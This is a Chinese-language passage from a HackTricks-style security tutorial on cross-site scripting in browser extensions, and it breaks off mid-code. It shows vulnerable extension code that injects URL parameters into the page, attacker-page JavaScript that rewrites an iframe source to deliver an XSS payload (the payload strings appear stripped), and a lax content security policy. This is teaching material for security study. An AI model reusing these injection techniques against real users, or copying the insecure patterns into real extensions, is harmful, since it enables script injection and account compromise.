# BrowExt - XSS 示例
{{#include ../../banners/hacktricks-training.md}}
## 通过 Iframe 的跨站脚本攻击 (XSS)
在此设置中,实施了一个 **内容脚本** 来实例化一个 Iframe,将带有查询参数的 URL 作为 Iframe 的源:
```javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
```
一个公开可访问的 HTML 页面,**`message.html`**,旨在根据 URL 中的参数动态添加内容到文档主体:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} `
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
```
在对手的页面上执行恶意脚本,修改 Iframe 源的 `content` 参数以引入 **XSS payload**。通过更新 Iframe 的源以包含有害脚本来实现这一点:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = ""
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
}, 1000)
```
过于宽松的内容安全策略,例如:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
允许执行JavaScript,使系统容易受到XSS攻击。
引发XSS的另一种方法是创建一个Iframe元素,并将其源设置为包含有害脚本作为`content`参数:
```javascript
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("
")
document.body.append(newFrame)
```
## DOM-based XSS + ClickJacking
这个例子取自于 [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)。
核心问题源于位于 **`/html/bookmarks.html`** 的基于DOM的跨站脚本(XSS)漏洞。以下是有问题的JavaScript,属于 **`bookmarks.js`**:
```javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('